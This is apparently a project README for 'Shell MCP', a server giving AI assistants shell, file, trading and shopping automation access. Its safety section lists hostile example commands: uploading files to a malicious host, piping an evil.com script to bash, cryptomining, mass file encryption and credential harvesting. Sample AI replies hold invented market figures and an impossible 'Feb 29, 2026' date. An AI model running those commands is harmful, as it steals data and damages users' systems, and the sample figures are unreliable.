Skip to main content
Glama
luciVuc

Shell MCP

by luciVuc

Shell MCP

A production-ready MCP (Model Context Protocol) server that provides shell command execution and system operations capabilities.

📚 View the complete documentation website for an enhanced reading experience with interactive examples and guides.

Table of Contents

Related MCP server: R-Shell

What is This?

This MCP server enables AI assistants (like Claude, ChatGPT, or other AI agents) to interact with your computer's operating system. Once connected, your AI assistant can:

  • Execute shell commands on your behalf

  • Read and write files

  • Monitor system resources and processes

  • Automate complex workflows

  • Track stock market prices and trading signals

  • Search and compare prices on Amazon and other online retailers

  • Open applications and control your browser

  • Schedule automated tasks and routines

Think of it as giving your AI assistant "hands" to help you with system administration, development tasks, data processing, financial monitoring, online shopping, and everyday automation—all while maintaining security controls.

From simple tasks like organizing files, to advanced automation like monitoring your stock portfolio and finding the best deals online, your AI assistant becomes a powerful personal automation engine.

⚠️ Important Disclaimer & Safety Warning

🛑 READ THIS BEFORE USING

THIS SOFTWARE PROVIDES SHELL COMMAND EXECUTION CAPABILITIES TO AI ASSISTANTS. USE AT YOUR OWN RISK.

THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

By using this MCP server, you acknowledge and accept full responsibility for:

  • All commands executed by your AI assistant

  • Any data loss, system damage, or security breaches that may occur

  • Financial losses from automated trading or purchasing decisions

  • Any unauthorized access or malicious use of your system

  • Compliance with all applicable laws and terms of service

⚠️ Critical Security Warnings

🔴 EXTREME DANGER: Unsandboxed Mode

Running this server WITHOUT sandbox mode gives your AI assistant UNRESTRICTED ACCESS to:

  • Your entire file system - Can read, modify, or delete ANY file

  • All system commands - Can execute ANY shell command with your user permissions

  • Network access - Can make external connections, download files, send data

  • Process control - Can start, stop, or kill any process

  • Financial systems - Can execute trades, make purchases, transfer money if credentials are accessible

  • Personal data - Can access emails, documents, browser history, passwords (if stored locally)

WITHOUT SANDBOX_MODE=true, YOUR AI ASSISTANT HAS THE SAME POWER AS YOU SITTING AT YOUR KEYBOARD.

🟡 Potential Dangers Even With Sandbox Mode

Data Loss:

  • AI might misunderstand requests and delete important files

  • Automated scripts could overwrite or corrupt data

  • Batch operations can cascade errors across many files

Financial Risk:

  • Automated trading scripts could execute unintended transactions

  • Price monitoring might act on bad data or API errors

  • Shopping automation could make unauthorized purchases

  • API rate limits could incur unexpected costs

System Instability:

  • Resource-intensive commands could crash your system

  • Process termination could kill critical services

  • Disk operations could fill storage or corrupt filesystems

Privacy Exposure:

  • AI might inadvertently read sensitive files

  • Logs could contain passwords or API keys

  • Executed commands might expose environment variables

Malicious AI Behavior:

  • If your AI assistant is compromised or has a jailbreak vulnerability

  • If prompts are injected with malicious instructions

  • If the AI model develops unexpected emergent behaviors

  • If the AI is manipulated through social engineering

🚨 How Your AI Agent Could Misuse This Server

Without Proper Safeguards:

Scenario 1: Data Exfiltration

# AI could be tricked into running:
curl -X POST https://malicious-site.com/upload \
  --data-binary @~/Documents/sensitive-data.pdf

Scenario 2: Cryptocurrency Mining

# AI starts background mining process:
nohup ./cryptominer --wallet=attacker-address &

Scenario 3: Backdoor Installation

# AI downloads and runs malicious script:
curl https://evil.com/backdoor.sh | bash

Scenario 4: Unauthorized Financial Transactions

# If trading credentials are accessible:
python execute_trade.py --symbol=LOSS --amount=ALL --action=SELL

Scenario 5: Ransomware-like Behavior

# AI encrypts files or moves them:
find ~/Documents -type f -exec gpg --encrypt {} \;

Scenario 6: System Sabotage

# Filling disk space:
dd if=/dev/zero of=~/bigfile.img bs=1G count=100

Scenario 7: Credential Harvesting

# Searching for sensitive data:
grep -r "password\|api_key\|secret" ~ > /tmp/credentials.txt

✅ How to Protect Yourself

Essential Safety Measures:

  1. ALWAYS START WITH SANDBOX_MODE=true

    # In your AI assistant config:
    "SANDBOX_MODE": "true"
  2. Run with Limited User Permissions

    • Create a dedicated user account with restricted privileges

    • Never run as root/administrator

    • Use file system permissions to limit access

  3. Use Network Isolation

    • Run in a Docker container with no network access

    • Use firewall rules to block outbound connections

    • Monitor network traffic for suspicious activity

  4. Review Commands Before Execution

    • Always ask your AI to explain commands first

    • Verify destructive operations manually

    • Use --dry-run flags when available

  5. Implement File System Restrictions

    # Only allow access to specific directories
    # Use chroot, Docker volumes, or similar isolation
  6. Monitor and Audit

    • Enable DEBUG mode to log all commands

    • Regularly review logs for suspicious activity

    • Set up alerts for unauthorized operations

  7. Limit Financial/Trading Automation

    • Never store trading credentials in plain text

    • Use read-only API keys when possible

    • Implement transaction limits and approval workflows

    • Keep trading automation on isolated systems

  8. Regular Backups

    • Maintain recent backups of important data

    • Test backup restoration regularly

    • Store backups offline or in immutable storage

For Testing/Learning:

{
  "SANDBOX_MODE": "true",
  "COMMAND_TIMEOUT": "10000",
  "DEBUG": "true"
}

For Personal Use (Low Risk Tasks):

{
  "SANDBOX_MODE": "true",
  "COMMAND_TIMEOUT": "30000",
  "DEBUG": "false"
}

For Production/Critical Systems:

DO NOT USE THIS SERVER ON PRODUCTION SYSTEMS WITHOUT:
- Comprehensive security review
- Penetration testing
- Access control implementation
- Audit logging
- Incident response plan

You are responsible for ensuring:

  • Compliance with computer fraud and abuse laws

  • Adherence to terms of service for external APIs and services

  • Respect for data privacy regulations (GDPR, CCPA, etc.)

  • Proper authorization before accessing or modifying systems

  • Ethical use of automation and AI capabilities

Trading and Financial Automation:

  • Automated trading may violate broker terms of service

  • You are liable for all trades executed, even if automated

  • Market manipulation is illegal in most jurisdictions

  • Seek professional financial advice before automated trading

Web Scraping and Automation:

  • Respect robots.txt and website terms of service

  • Don't overload servers with excessive requests

  • Obtain permission for commercial use of scraped data

  • Be aware of copyright and intellectual property rights

🎓 Education and Awareness

This server is intended for:

  • Legitimate automation and productivity enhancement

  • Learning about AI-assisted development and system administration

  • Personal projects and experimentation in controlled environments

This server is NOT intended for:

  • Unauthorized access to computer systems

  • Malicious activities or causing harm

  • Circumventing security measures

  • Violating laws, regulations, or terms of service

📞 Incident Response

If you suspect your AI assistant has been compromised or is acting maliciously:

  1. Immediately disconnect - Kill the MCP server process

  2. Disconnect from network - Unplug ethernet or disable WiFi

  3. Review logs - Check what commands were executed

  4. Scan for malware - Run antivirus and security scans

  5. Change credentials - Update passwords and API keys

  6. Report if necessary - Contact relevant parties if data breach occurred

Final Warning

Using this MCP server means trusting your AI assistant with significant system access. While AI assistants are generally helpful and follow instructions, they:

  • Can make mistakes in understanding commands

  • May be vulnerable to prompt injection attacks

  • Could have bugs or unexpected behaviors

  • Might misinterpret context or intent

  • Cannot be held accountable for their actions

YOU are ultimately responsible for everything that happens on your system.

When in doubt, use SANDBOX_MODE=true and manually review commands before execution.

Real-World Use Cases

For Developers

Scenario 1: Automated Project Setup

"Set up a new React project with TypeScript, install dependencies, initialize Git, and create a basic file structure."

Your AI assistant can execute all these commands, create necessary configuration files, and verify the setup—saving you 15-20 minutes of repetitive work.

Scenario 2: Code Analysis & Refactoring

"Find all TODO comments in my project, categorize them by priority, and create a markdown report."

The AI can search your codebase, analyze patterns, and generate comprehensive reports.

Scenario 3: Development Environment Debugging

"Check why my Docker container isn't starting. Look at the logs, verify port availability, and check system resources."

Your AI assistant can investigate issues by running diagnostic commands and interpreting results.

For System Administrators

Scenario 4: System Health Monitoring

"Give me a comprehensive health check: CPU usage, memory stats, disk space, and any processes using excessive resources."

Get instant, interpreted system diagnostics without manually running multiple commands.

Scenario 5: Log Analysis

"Check the last 100 lines of the system log for errors, summarize the issues, and suggest solutions."

AI can not only retrieve logs but also analyze patterns and provide actionable insights.

Scenario 6: Automated Maintenance

"Clean up old Docker images, remove unused npm packages globally, and clear system cache files older than 30 days."

Execute complex cleanup routines with a single natural language request.

For Data Scientists & Analysts

Scenario 7: Data Pipeline Automation

"Download the CSV from this URL, convert it to JSON, remove duplicates, and save it with today's date."

Chain multiple data processing commands with AI understanding the context.

Scenario 8: Batch File Processing

"Find all .csv files in the data folder, get their row counts, and create a summary report."

Automate repetitive data exploration tasks.

For DevOps Engineers

Scenario 9: Deployment Verification

"Check if the application is running on port 8080, verify the database connection, and test the health endpoint."

Automated post-deployment validation with intelligent interpretation.

Scenario 10: Resource Optimization

"Find processes consuming more than 500MB of RAM, identify what they are, and suggest if any can be safely terminated."

Proactive resource management with AI-guided decision making.

For Traders & Finance Enthusiasts

Scenario 11: Stock Market Monitoring

"Check the current price of Apple, Microsoft, and Tesla stocks. Alert me if any drop below their 50-day moving average."

Your AI can execute Python/Node.js scripts or use curl to fetch real-time stock data from APIs (Alpha Vantage, Yahoo Finance, etc.), analyze trends, and monitor your portfolio automatically.

Scenario 12: Automated Trading Signals

"Every morning at 9:30 AM, analyze the top 10 tech stocks, check their pre-market movement, and create a trading signals report with buy/sell recommendations based on technical indicators."

Set up cron jobs or scheduled scripts that your AI runs to fetch market data, perform technical analysis (RSI, MACD, Bollinger Bands), and generate actionable insights—all automated through shell commands.

Scenario 13: Portfolio Tracking

"I bought 10 shares of NVDA at $875. Track its performance, calculate my current profit/loss, and notify me if it gains or loses more than 5%."

Your AI can maintain a portfolio tracker script, update it with real-time data, and send you intelligent summaries of your investments.

For Daily Automation & Productivity

Scenario 14: Smart Browser Automation

"Open Chrome, navigate to my company's dashboard, take a screenshot of the analytics page, and save it to my reports folder."

Using commands like open (macOS), start (Windows), or xdg-open (Linux), plus tools like Puppeteer or Selenium scripts, your AI can automate browser tasks, scrape data, and capture information.

Scenario 15: Application Management

"Launch Spotify, play my 'Focus' playlist, then open VS Code with my current project, and start the MongoDB server."

Your AI can orchestrate your entire work environment by launching applications, executing AppleScripts (macOS), PowerShell scripts (Windows), or shell commands to create your perfect workspace setup with one request.

Scenario 16: Web Search & Research

"Search for the latest information about 'quantum computing breakthroughs 2026' from multiple sources, summarize the findings, and save them to a markdown file."

Using curl, wget, or Python scripts with BeautifulSoup, your AI can search the web, aggregate information from multiple sources, and compile research reports automatically.

Scenario 17: Amazon Shopping Assistant

"Search Amazon for the best-rated wireless headphones under $200, compare the top 5 options by price and reviews, and create a comparison table."

Your AI can run scripts that use Amazon's Product Advertising API or web scraping to:

  • Search for products based on your criteria

  • Compare prices across different sellers

  • Track price history and alert you to deals

  • Analyze customer reviews and ratings

  • Even automate purchases through Amazon CLI tools or scripts (with your explicit approval)

Scenario 18: Online Price Monitoring

"Monitor the price of the 'Sony A7 IV camera' across Amazon, B&H, and Adorama. Check every 6 hours and alert me when it drops below $2,300."

Set up automated price tracking scripts that your AI manages, running scheduled checks and notifying you of price drops or lightning deals.

Scenario 19: Smart Shopping Lists

"I need to buy ingredients for lasagna. Search for the best prices on Amazon Fresh and local grocery delivery services, then generate a shopping list with the cheapest options."

Your AI can aggregate data from multiple sources, compare prices, and optimize your shopping to save money—all automated through API calls and web searches.

Scenario 20: Multi-Platform Search & Purchase

"I need a standing desk. Search Amazon, IKEA, and Wayfair for options between $300-$500, filter by ratings above 4.5 stars, and create a comparison spreadsheet."

Your AI orchestrates searches across multiple platforms, normalizes the data, applies your criteria, and presents organized results—saving hours of manual research.

Real-World Automation Examples

Complete Morning Routine:

"Good morning! Check my stock portfolio, show me any significant overnight movements, open my browser to Gmail and calendar, start my development environment, and give me a weather forecast."

End-of-Day Workflow:

"Close all my work apps, back up today's code changes, check if any of my watched Amazon items have price drops, summarize my system's resource usage today, and shut down unnecessary services."

Shopping Automation:

"I need to buy: noise-canceling headphones, a mechanical keyboard, and a laptop stand. For each, find the top 3 options on Amazon under $150, $100, and $50 respectively. Compare them and tell me which combination gives the best value."

How to Use with AI Assistants

Claude Desktop

There are two ways to configure shell-mcp with Claude Desktop:

  1. Install the server:

    git clone https://github.com/luciVuc/shell-mcp.git
    cd shell-mcp
    npm install
    npm run build
  2. Configure Claude Desktop:

    Edit your Claude Desktop config file:

    • macOS/Linux: ~/Library/Application Support/Claude/claude_desktop_config.json

    • Windows: %APPDATA%\Claude\claude_desktop_config.json

    Add this configuration:

    {
      "mcpServers": {
        "shell": {
          "command": "node",
          "args": ["/absolute/path/to/shell-mcp/dist/main.js"],
          "env": {
            "SANDBOX_MODE": "false",
            "COMMAND_TIMEOUT": "30000"
          }
        }
      }
    }
  3. Restart Claude Desktop

Option 2: Using npx (No Installation Required)

If you prefer not to clone and build the project locally, you can run shell-mcp directly from npm using npx:

Configuration without installing:

Edit your Claude Desktop config file as above, and add:

{
  "mcpServers": {
    "shell": {
      "command": "npx",
      "args": ["@lucid-spark/shell-mcp"],
      "env": {
        "SANDBOX_MODE": "false",
        "COMMAND_TIMEOUT": "30000"
      }
    }
  }
}

For production use (with sandbox enabled):

{
  "mcpServers": {
    "shell": {
      "command": "npx",
      "args": ["@lucid-spark/shell-mcp"],
      "env": {
        "SANDBOX_MODE": "true",
        "COMMAND_TIMEOUT": "30000"
      }
    }
  }
}

Note: The first time you run this, npx will download and cache the package. Subsequent runs will use the cached version for faster startup.

Getting Started

After configuring either option:

  1. Restart Claude Desktop

  2. Start using it:

    "Can you check my system's CPU and memory usage?" "Create a backup script that archives my projects folder." "Find all JavaScript files modified in the last week."

See CLAUDE_SETUP.md for detailed configuration options and environment variables.

Other MCP-Compatible AI Tools

Any AI assistant that supports the Model Context Protocol can use this server:

Example: Custom AI Agent (Python)

from mcp import ClientSession, StdioServerParameters
from mcp.client.stdio import stdio_client

# Connect to the MCP server
server_params = StdioServerParameters(
    command="node",
    args=["/path/to/shell-mcp/dist/main.js"],
    env={"SANDBOX_MODE": "true"}
)

async with stdio_client(server_params) as (read, write):
    async with ClientSession(read, write) as session:
        # Initialize connection
        await session.initialize()

        # List available tools
        tools = await session.list_tools()

        # Execute a command
        result = await session.call_tool("exec", {
            "command": "df -h"
        })
        print(result)

Example: Node.js AI Agent

import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";

// Create MCP client
const transport = new StdioClientTransport({
  command: "node",
  args: ["/path/to/shell-mcp/dist/main.js"],
  env: { SANDBOX_MODE: "true" },
});

const client = new Client(
  {
    name: "my-ai-agent",
    version: "1.0.0",
  },
  { capabilities: {} }
);

await client.connect(transport);

// Get system info
const result = await client.callTool({
  name: "getSystemInfo",
  arguments: {},
});

console.log(result);

What Your AI Agent Can Do

Once connected, your AI assistant can help with:

System Operations:

  • Monitor CPU, memory, and disk usage

  • Check running processes and resource consumption

  • Verify system uptime and health

  • Analyze system logs

File Management:

  • Create, read, update, and delete files

  • Search for files by name or content

  • Batch rename or organize files

  • Generate reports from file data

Development Tasks:

  • Run build scripts and tests

  • Install dependencies

  • Search codebases

  • Execute git commands

  • Deploy applications

Data Processing:

  • Download and process files

  • Convert between formats

  • Extract and transform data

  • Generate reports and summaries

Automation:

  • Schedule and run maintenance tasks

  • Execute complex multi-step workflows

  • Perform system backups

  • Clean up temporary files

Debugging & Diagnostics:

  • Check application logs

  • Verify network connectivity

  • Test API endpoints

  • Investigate errors

Example Conversations

Here are real examples of how you might interact with your AI assistant once this MCP server is connected:

Example 1: System Health Check

You: "Can you check my system's health and let me know if anything needs attention?"

AI Assistant: Uses getSystemInfo tool, then exec to check disk space and running processes

"Your system looks healthy overall:

  • CPU: 8 cores, currently at 23% usage

  • Memory: 16GB total, 8.2GB free (51% available)

  • Disk: 500GB total, 127GB free (25% - you might want to clean up soon)

  • Uptime: 5 days, 3 hours

I noticed your Docker Desktop is using 3.2GB of RAM. Would you like me to check if there are any unused containers we can remove?"

Example 2: Project Analysis

You: "I have a Node.js project in ~/projects/my-app. Can you analyze it and tell me about its structure and any potential issues?"

AI Assistant: Uses listDir and readFile tools

"I've analyzed your project. Here's what I found:

  • 47 JavaScript files, 12 JSON config files

  • Dependencies: 23 production, 15 dev dependencies

  • Last modified: package.json (2 hours ago)

  • Potential issues:

    • Found 8 TODO comments in the code

    • 3 packages have known vulnerabilities (need npm audit fix)

    • No .env.example file (should add one for team members)

Would you like me to create a detailed report or help fix any of these issues?"

Example 3: Data Processing

You: "I have CSV files in ~/data/sales/ from this month. Can you combine them, remove duplicates, and create a summary?"

AI Assistant: Uses listDir, readFile, exec, and writeFile tools

"Done! I've processed your sales data:

  • Found 4 CSV files (sales_week1.csv through sales_week4.csv)

  • Combined: 1,247 total records

  • Removed: 38 duplicates

  • Final dataset: 1,209 unique sales records

  • Created: ~/data/sales/february_2026_summary.csv

Summary statistics:

  • Total revenue: $47,382

  • Average sale: $39.12

  • Top product: Widget Pro (237 sales)

The combined file is ready at ~/data/sales/february_2026_summary.csv"

Example 4: Development Workflow

You: "Set up a new React project called 'dashboard' with TypeScript, install Tailwind CSS, and create a basic component structure."

AI Assistant: Uses exec and writeFile tools

"Project setup complete! Here's what I did:

  1. Created React + TypeScript project: ✓

  2. Installed Tailwind CSS and configured it: ✓

  3. Created component structure:

    • src/components/Header.tsx

    • src/components/Sidebar.tsx

    • src/components/Dashboard.tsx

    • src/pages/Home.tsx

  4. Initialized Git repository: ✓

  5. Created .gitignore: ✓

Next steps you might want:

  • Run 'npm run dev' to start the development server

  • Configure authentication

  • Add routing with React Router

Would you like me to add anything else?"

Example 5: Troubleshooting

You: "My web server won't start. It's supposed to run on port 3000. Can you help me figure out why?"

AI Assistant: Uses exec and listProcesses tools

"I found the issue! Port 3000 is already in use:

Process using port 3000:

  • PID: 8472

  • Command: node old-server.js

  • Started: 3 days ago

This appears to be an old server that's still running. Options:

  1. Kill this process (I can do this for you)

  2. Change your new server to use a different port (like 3001)

  3. Check if you still need the old server running

What would you like to do?"

Example 6: Stock Market Monitoring & Trading Signals

You: "I'm interested in tech stocks. Can you check the current prices for Apple, Microsoft, Google, and NVIDIA, and let me know if any look like good buying opportunities based on their recent performance?"

AI Assistant: Uses exec tool to run a Python script that fetches stock data via APIs

"I've analyzed the current market data for your tech stocks:

AAPL (Apple Inc.) - $178.45 (+2.3% today)

  • Recent trend: Strong upward momentum

  • 50-day MA: $172.30 (currently above - bullish signal)

  • RSI: 58 (neutral, room to grow)

  • Signal: ✅ MODERATE BUY

  • Note: Breaking through resistance at $177

MSFT (Microsoft) - $412.80 (-0.8% today)

  • Recent trend: Slight pullback from highs

  • 50-day MA: $408.50 (currently above)

  • RSI: 52 (neutral)

  • Signal: ⏸️ HOLD/WATCH

  • Note: Minor consolidation, possible buying opportunity on dip

GOOGL (Alphabet) - $145.20 (+1.1% today)

  • Recent trend: Steady upward climb

  • 50-day MA: $141.80 (above - bullish)

  • RSI: 62 (approaching overbought)

  • Signal: ⚠️ WATCH

  • Note: Strong but getting pricey short-term

NVDA (NVIDIA) - $892.30 (+4.7% today)

  • Recent trend: Very strong momentum

  • 50-day MA: $825.40 (well above)

  • RSI: 71 (slightly overbought)

  • Signal: ⚠️ OVEREXTENDED

  • Note: Amazing run but may need consolidation

Best Opportunity: MSFT looks like the best entry point if it dips to $405-408 range. AAPL is also showing good momentum with room to grow.

Would you like me to:

  1. Set up automated monitoring to alert you when MSFT hits $405?

  2. Create a detailed technical analysis report?

  3. Track these stocks and notify you of significant changes?"

Example 7: Smart Amazon Shopping Assistant

You: "I need to buy a good pair of wireless noise-canceling headphones for under $300. Can you help me find the best options on Amazon?"

AI Assistant: Uses exec tool to run a web scraping script or Amazon API integration

"I've searched Amazon for wireless noise-canceling headphones under $300. Here are the top 5 options:

1. Sony WH-1000XM5 - $279.99 ⭐⭐⭐⭐⭐

  • Rating: 4.7/5 (18,432 reviews)

  • Features: Industry-leading ANC, 30hr battery, multipoint connection

  • Price history: Currently $20 below average price

  • ✅ BEST OVERALL - Premium quality at your budget limit

2. Bose QuietComfort 45 - $249.00 ⭐⭐⭐⭐⭐

  • Rating: 4.6/5 (12,891 reviews)

  • Features: Excellent ANC, 24hr battery, comfortable for long wear

  • Price history: All-time low price!

  • 💰 BEST VALUE - Great price drop right now

3. Apple AirPods Max - $449.00 ❌ (Over budget)

  • Rating: 4.8/5 (8,234 reviews)

  • Too expensive, but I'm mentioning because there's a 20% off deal alert

4. Sennheiser Momentum 4 - $289.99 ⭐⭐⭐⭐⭐

  • Rating: 4.5/5 (6,721 reviews)

  • Features: 60hr battery!, excellent sound quality, good ANC

  • 🔋 BEST BATTERY LIFE

5. Anker Soundcore Space Q45 - $129.99 ⭐⭐⭐⭐

  • Rating: 4.4/5 (9,156 reviews)

  • Features: 50hr battery, good ANC for price, adaptive

  • 💵 BUDGET CHAMPION - Best bang for buck

My Recommendation: If you want the absolute best: Sony WH-1000XM5 (best noise canceling) If you want the best deal: Bose QC45 (amazing price right now at $249!)

Additional insights:

  • Bose QC45 is currently at lowest price in 90 days - great time to buy!

  • Sony WH-1000XM5 rarely goes on sale, $280 is very fair

  • All options have free Prime shipping

Would you like me to:

  1. Add one of these to your cart?

  2. Set up price alerts if you want to wait for a better deal?

  3. Search for refurbished/open-box versions to save more?

  4. Compare these with similar options from Best Buy or other retailers?"

Example 8: Morning Market Routine Automation

You: "Can you set up a morning routine that checks my stock portfolio, the market news, and opens my trading dashboard every weekday at 9:00 AM?"

AI Assistant: Uses writeFile to create a script and exec to set up a cron job

"I've created a comprehensive morning market routine! Here's what I set up:

Created: ~/scripts/morning-market-routine.sh

What it does at 9:00 AM every weekday:

  1. ✅ Fetches your portfolio data (AAPL, MSFT, NVDA, GOOGL holdings)

  2. ✅ Calculates overnight profit/loss

  3. ✅ Checks major market indices (S&P 500, NASDAQ, DOW)

  4. ✅ Pulls top 5 trending stocks and crypto

  5. ✅ Scans financial news for your ticker symbols

  6. ✅ Opens your TradingView dashboard in Chrome

  7. ✅ Generates a summary report and sends it to your terminal

Scheduled: Cron job installed for weekdays at 9:00 AM EST

Sample of what you'll see tomorrow:

═══════════════════════════════════════════
📊 MORNING MARKET BRIEFING - Feb 29, 2026
═══════════════════════════════════════════

YOUR PORTFOLIO:
  Total Value: $48,320 (+$420 overnight, +0.88%)

  AAPL: 25 shares @ $178.45 → $4,461 (+1.2%)
  MSFT: 10 shares @ $412.80 → $4,128 (-0.3%)
  NVDA: 15 shares @ $892.30 → $13,384 (+2.1%)
  Cash: $26,347

MARKET OVERVIEW:
  S&P 500: +0.4% (pre-market)
  NASDAQ: +0.7% (tech rally continues)

TRENDING: AI chipmakers surging on new data center demand
  Top gainer: AMD +3.8% pre-market

NEWS ALERTS:
  - NVDA announces new AI chip partnership
  - MSFT expanding cloud services in Europe

Your browser will auto-open to your dashboard, and the full report will be saved to ~/market-reports/2026-02-29.txt

Want me to tweak any settings or add more features?"

Tips for Best Results

Communicating with Your AI Assistant

Be Specific:

  • ❌ "Check my files"

  • ✅ "List all PDF files in my Documents folder modified in the last week"

Ask for Summaries:

  • "Get my system info and tell me if anything looks concerning"

  • "Check the last 50 lines of the server log and summarize any errors"

Request Multi-Step Actions:

  • "Find all Node.js projects on my system, check which ones need dependency updates, and create a summary report"

Use Natural Language:

  • You don't need to know command syntax!

  • Say "find big files" instead of trying to construct find commands

  • Your AI will translate your intent into proper commands

Safety Tips

Start with Sandbox Mode:

# In your AI assistant config
"SANDBOX_MODE": "true"

This adds extra safety checks while you get comfortable.

Review Before Destructive Actions:

  • Your AI assistant will typically ask before deleting files or making major changes

  • You can always ask "show me what command you're about to run"

Use for Automation:

  • Once you're comfortable, create scripts for repetitive tasks

  • Example: "Create a backup script that I can run weekly"

Monitor Resource Usage:

  • Ask your AI to check system resources if things slow down

  • Example: "What's using the most memory on my system?"

What to Try First

  1. System Check: "Give me a system health overview"

  2. File Organization: "Help me organize my Downloads folder"

  3. Project Analysis: "Analyze my project at ~/code/myapp"

  4. Log Investigation: "Check if there are any errors in my application logs"

  5. Process Management: "Show me what's using the most CPU"

Enabling Advanced Features

For advanced automation like stock market monitoring, web browsing, and online shopping, you may need additional tools:

Stock Market & Financial APIs

Option 1: Free APIs (Recommended for starting)

# Alpha Vantage (Free tier: 500 requests/day)
# Get your free API key at: https://www.alphavantage.co/support/#api-key
export ALPHA_VANTAGE_API_KEY="your_key_here"

Option 2: Premium APIs

  • Yahoo Finance API: Real-time stock data

  • Polygon.io: Advanced market data

  • IEX Cloud: Financial data platform

Example Script Your AI Can Use:

# ~/scripts/stock_checker.py
import requests
import os

def get_stock_price(symbol):
    api_key = os.getenv('ALPHA_VANTAGE_API_KEY')
    url = f'https://www.alphavantage.co/query?function=GLOBAL_QUOTE&symbol={symbol}&apikey={api_key}'
    response = requests.get(url)
    return response.json()

# Your AI assistant can run: python ~/scripts/stock_checker.py

Browser Automation

Install Puppeteer (Node.js) or Playwright:

# For web scraping and browser automation
npm install -g puppeteer
# or
npm install -g playwright

Your AI can then:

  • Open websites automatically

  • Fill forms and click buttons

  • Take screenshots

  • Extract data from web pages

Amazon Shopping & Price Monitoring

Option 1: Amazon Product Advertising API

Option 2: Web Scraping (for personal use)

# Install a scraping tool
pip install beautifulsoup4 requests

Option 3: Price Tracking Tools

# CamelCamelCamel API integration or similar services
# Your AI can check price history automatically

Opening Applications

macOS:

# Your AI uses commands like:
open -a "Google Chrome" https://amazon.com
open -a "Spotify"

Windows:

start chrome https://amazon.com
start spotify

Linux:

xdg-open https://amazon.com
spotify &

Scheduled Automation

Your AI can set up scheduled tasks:

macOS/Linux (Cron):

# Your AI creates cron jobs for you
crontab -e
# Example: Check stocks every hour on weekdays
0 9-16 * * 1-5 /usr/bin/python3 ~/scripts/stock_checker.py

Windows (Task Scheduler):

# Your AI can create scheduled tasks
schtasks /create /tn "StockCheck" /tr "python stock_checker.py" /sc daily /st 09:00

Getting Started with Advanced Features

  1. Start Simple: Begin with basic stock price checks using free APIs

  2. Build Gradually: Add browser automation for specific websites

  3. Automate Routine: Let your AI create scheduled scripts for daily tasks

  4. Stay Safe: Always review scripts before running, especially for financial transactions

Your AI Assistant Can Help You Setup:

  • "Help me get an Alpha Vantage API key and set it up"

  • "Install Puppeteer and create a script to check Amazon prices"

  • "Set up a cron job to check my stock portfolio every morning"

Features

  • Shell Command Execution: Execute arbitrary shell commands with timeout and security controls

  • File Operations: Read, write, delete files and list directories with path traversal protection

  • System Information: Cross-platform system info retrieval (CPU, memory, disk, OS)

  • Process Management: List and filter running processes

  • Multi-Transport Support: stdio (default), SSE (deprecated), and Streamable HTTP transports

  • Security: Command validation, sandboxing, path traversal protection, rate limiting, and audit logging

  • Sudo Support: Opt-in privileged command execution with password handling

  • Cross-Platform: Works on macOS, Linux, and Windows

  • Production-Ready: Comprehensive error handling, logging, input validation with Zod, and graceful shutdown

  • Well-Documented: Extensive documentation including security guidelines and setup guides

  • Fully Tested: Unit tests with vitest and integration tests

Installation for End Users

To use this MCP server with your AI assistant, follow these steps:

Prerequisites

  • Node.js (version 18 or higher) - Download here

  • npm (comes with Node.js)

  • An MCP-compatible AI assistant (like Claude Desktop)

Step-by-Step Setup

  1. Clone or download this repository:

    git clone https://github.com/luciVuc/shell-mcp.git
    cd shell-mcp
  2. Install dependencies:

    npm install
  3. Build the server:

    npm run build
  4. Configure your AI assistant (see "How to Use with AI Assistants" section above)

  5. Start chatting with your AI! Your assistant now has access to system operations.

Optional: Configuration

Customize behavior using environment variables:

Variable

Default

Description

TRANSPORT

stdio

Transport type: stdio, sse, or streamable-http

SANDBOX_MODE

false

When true, blocks risky commands (network, process control, etc.)

COMMAND_TIMEOUT

30000

Maximum time (ms) for commands to run

ALLOW_SUDO

false

When true, allows sudo prefixed commands

SUDO_PASSWORD

Password for sudo -S (never logged)

DEBUG

false

Enables detailed logging

AUDIT_LOG

false

Logs all tool calls to logs/audit.log

PORT

3000

HTTP port for SSE / Streamable HTTP transports

HOST

127.0.0.1

Host/IP to bind for HTTP transports

MCP_ENDPOINT

/mcp

Endpoint path for Streamable HTTP transport

Example .env file:

SANDBOX_MODE=false
COMMAND_TIMEOUT=30000
DEBUG=false
TRANSPORT=stdio

Enabling Sudo Support

Sudo commands are blocked by default for security. To enable privileged command execution:

Configure specific commands in your sudoers file so no password is required:

# Edit sudoers safely
sudo visudo

# Add a rule for the user running the MCP server
mcp-user ALL=(ALL) NOPASSWD: /usr/bin/apt-get update, /usr/bin/systemctl restart nginx

Then enable sudo in your configuration:

{
  "mcpServers": {
    "shell": {
      "command": "node",
      "args": ["/path/to/shell-mcp/dist/main.js"],
      "env": {
        "ALLOW_SUDO": "true"
      }
    }
  }
}

Option 2: Password-based sudo

If NOPASSWD is not an option, provide SUDO_PASSWORD. The password is piped via sudo -S and never logged:

{
  "mcpServers": {
    "shell": {
      "command": "node",
      "args": ["/path/to/shell-mcp/dist/main.js"],
      "env": {
        "ALLOW_SUDO": "true",
        "SUDO_PASSWORD": "your-password-here"
      }
    }
  }
}

⚠️ Security Warning: Environment variables may be visible in process listings. For production, prefer NOPASSWD sudoers rules scoped to specific commands. Enable AUDIT_LOG=true to track all sudo usage.

What happens without ALLOW_SUDO

When ALLOW_SUDO is not set (the default), any command starting with sudo is rejected:

❌ "sudo apt-get update" → Error: Sudo commands are not allowed
✅ "apt-get update"      → Runs as the current user (may fail without privileges)

For Developers

If you're developing or extending this server:

Quick Start

# Install dependencies
npm install

# Build the project
npm run build

# Run unit tests
npm run test:unit

# Run integration tests
npm test

# Start the server (for development)
npm run dev

# or
npm start

For deploying with Claude Desktop, see CLAUDE_SETUP.md.

Development Workflow

# Watch mode for development
npm run watch

# Test with MCP Inspector (interactive UI for testing)
npm run inspector

# Lint code
npm run lint
npm run lint:fix

# Format code
npm run format

Testing

